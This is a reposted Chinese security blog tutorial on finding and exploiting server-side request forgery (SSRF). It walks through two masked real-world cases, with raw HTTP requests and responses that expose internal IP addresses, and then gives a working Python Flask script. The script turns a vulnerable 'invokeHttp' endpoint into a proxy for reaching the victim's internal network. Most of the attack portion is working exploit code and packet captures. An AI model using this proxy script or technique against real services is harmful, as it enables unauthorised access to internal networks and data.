实战 | SSRF的挖掘与利用

admin 2023年2月18日10:46:59评论32 views字数 4068阅读13分33秒阅读模式

文章来源:转载来源语雀文档,非P喵呜作者本人投稿

如有侵权,请联系删除

0x01 前言
SSRF (Server-Side Request Forgery:服务器端请求伪造)
是一种由攻击者构造形成,由服务端发起请求的一个安全漏洞
原因是由于服务端提供了从其他服务器应用获取数据的功能且没有对地址和协议等做过滤和限制
本文讲解一个 ssrf 的挖掘方法与一个全回显 ssrf 的利用方法

0x02 漏洞危害

1. 前期渗透时,利用目标 ssrf 扫描内网存活主机或端口
2. 如果站点是 php 的利用 Gopher 协议,去尝试攻击内网
3. 搭建代理

0x03 漏洞局限性

1. 大部分情况下都是 GET 型 ssrf 漏洞,仅能探测存活,扫描端口、内网域名探测,危害十分有限
2. https 请求 ssl 证书无法正常解析

0x04 漏洞分类

ssrf 的类型现在通常分为:
1. 可回显型
2. 非回显型

在实战中,非回显型的 ssrf 用处属实不大,也就不详讲了

0x05 例子

0x05.1 例子: 另类 ssrf 挖掘
首先看一个平平无奇的数据包:

GET / HTTP/1.1
Host: dss0.xxxxxx.com
Pragma: no-cache
Cache-Control: no-cache,no-transform
Connection: close

实战 | SSRF的挖掘与利用
这样看这个站点平平无奇
但是如果我们把 GET / HTTP/1.1 改成 GET http://xxxx.com HTTP/1.1 呢? 说试就试,这里我改成我的 vps
实战 | SSRF的挖掘与利用
实战 | SSRF的挖掘与利用

实战 | SSRF的挖掘与利用

可以看到的却是收到了请求,也就是说,我们在这个平平无奇的地方,挖掘到了一个 ssrf
那么在试试访问其它站点
实战 | SSRF的挖掘与利用

实战 | SSRF的挖掘与利用

一样可以解析,这样就说明,我们挖掘到了一个全回显的 ssrf,那么我们如果要进行下一步的话
是不是就可以通过这个全回显,去尝试构造一个代理了

0x05.2 例子: 一处全回显的 ssrf 搭代理
迎面看到一个接口管理的功能:
实战 | SSRF的挖掘与利用
尝试进行内网域名扫描:

ssrf 漏洞数据包:
POST /api/invokeHttp HTTP/1.1
Host: api.xxx.com
Content-Length: 134
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0 4389.9 Safari/537.36
Content-Type: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: 1
Connection: close

{"jsonParam":"","headers":[],"files": [],"url":"http://info.xx.com/","requestType":"GET","body":"","ip":"","port":"80","forma t":"utf-8"}




响应包:
HTTP/1.1 200 OK
Server: openresty
Date: Sun, 31 Jan 2021 15:57:57 GMT
Content-Type: application/json;charset=UTF-8
Content-Length: 244
Connection: close
Access-Control-Allow-Origin: http://poc-intest.xx.com
Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE
Access-Control-Max-Age: 0
Access-Control-Allow-Headers: Authorization,Origin, No-Cache, X-Requested-With, If- Modified-Since, Pragma, Last-Modified, Cache-Control, Expires, Content-Type, X-E4M- With,userId,token
Access-Control-Allow-Credentials: true
XDomainRequestAllowed: 1
Expires: Sun, 31 Jan 2021 15:57:57 GMT
Cache-Control: max-age=0


{"code":1,"data":"Http Get| url:http://info.xx.com/ | e:org.apache.http.conn.HttpHostConnectException: Connect to info.xx.com:80 [info.xx.com/172.26.202.55, info.xx.com/172.26.202.48] failed: "","message":"访问成功"}

其中 data 字段就是调用接口以后返回的响应包
通过这个一点,我们就可以自己构造一下,写出一个基于 python 的代理出来代码如下:

# -*- coding: utf-8 -*-
import requests
import json
from flask import Flask, request, Response, make_response
from urllib.parse import urlparse
from os.path import splitext, basename

app = Flask(__name__)

def get_filetype(url):
content_type = 'text/html'
response_mimetype = {
'.png': 'image/png',
'.js': 'application/javascript',
'.jpg': 'image/jpeg',
'.gif': 'image/gif',
'.jpeg': 'image/jpeg',
'.ico': 'image/x-icon',
'.css': 'text/css',
'.svg': 'image/svg+xml',

}
disassembled = urlparse(url)
filename, file_ext = splitext(basename(disassembled.path))
content_type = response_mimetype.get(file_ext, 'text/html')
return content_type


@app.before_request
def before_request():
proxies = {'http': '127.0.0.1:8080', 'https': '127.0.0.1:8080'}
data = request.data or request.form or ''
dest_url = 'http://api.xxx.com/api/invokeHttp'
ssrfhd = {"header": "cookie",
"value": "username.test=ext.bmw.test;"}
ssrfhedlist = []
filist = []
ssrfhedlist.append(ssrfhd)
dest_data = {
'url': request.url,
'requestType': request.method.lower(),
'files': filist,
'body': data,
'jsonParam': '',
'headers': ssrfhedlist,
'format': 'utf-8'
}
headers = dict()
for name, value in request.headers:
headers[name] = value
headers['Cookie'] = 'key1=value1;key2=value2;'
headers['Host'] = 'api.xxx.com'
headers['Content-Type'] = 'application/json'

resp = requests.post(url=dest_url, headers=headers,
json=dest_data, proxies=proxies)

new_headers = {**resp.headers, 'Content-Type': get_filetype(request.url)}
if 'Content-Encoding' in new_headers.keys():
del new_headers['Content-Encoding']

if resp.status_code == "302":
resp_content_modify_html = "302"
return resp_content_modify_html, resp.status_code, new_headers
resp_content_modify = json.loads(resp.content)
resp_content_modify_html = resp_content_modify["data"].replace("/n", "")
return resp_content_modify_html, resp.status_code, new_headers

if __name__ == "__main__":
app.run(port=8081, debug=True)

构造完毕以后,像正常使用代理一样连接即可
连接以后,通过该代理,就可以访问对方内网了
例如:
实战 | SSRF的挖掘与利用
实战 | SSRF的挖掘与利用
通过 ssrf 搭建代理挖掘的注入
实战 | SSRF的挖掘与利用


实战 | SSRF的挖掘与利用


推荐阅读


实战 | 记一次渗透拿下某儿童色情网站的经过


实战 | 某某街一处XSS的绕过思路


实战 | 记一次企业钓鱼演练


干货 | 2022年超全的安全知识库


实战 | 实战一次完整的BC网站渗透测试


星球部分精华内容推荐


实战 | SSRF的挖掘与利用


实战 | SSRF的挖掘与利用


实战 | SSRF的挖掘与利用

其他更多精彩内容,欢迎加入我们的星球

实战 | SSRF的挖掘与利用

原文始发于微信公众号(HACK学习君):实战 | SSRF的挖掘与利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月18日10:46:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   实战 | SSRF的挖掘与利用https://cn-sec.com/archives/1559521.html

发表评论

匿名网友 填写信息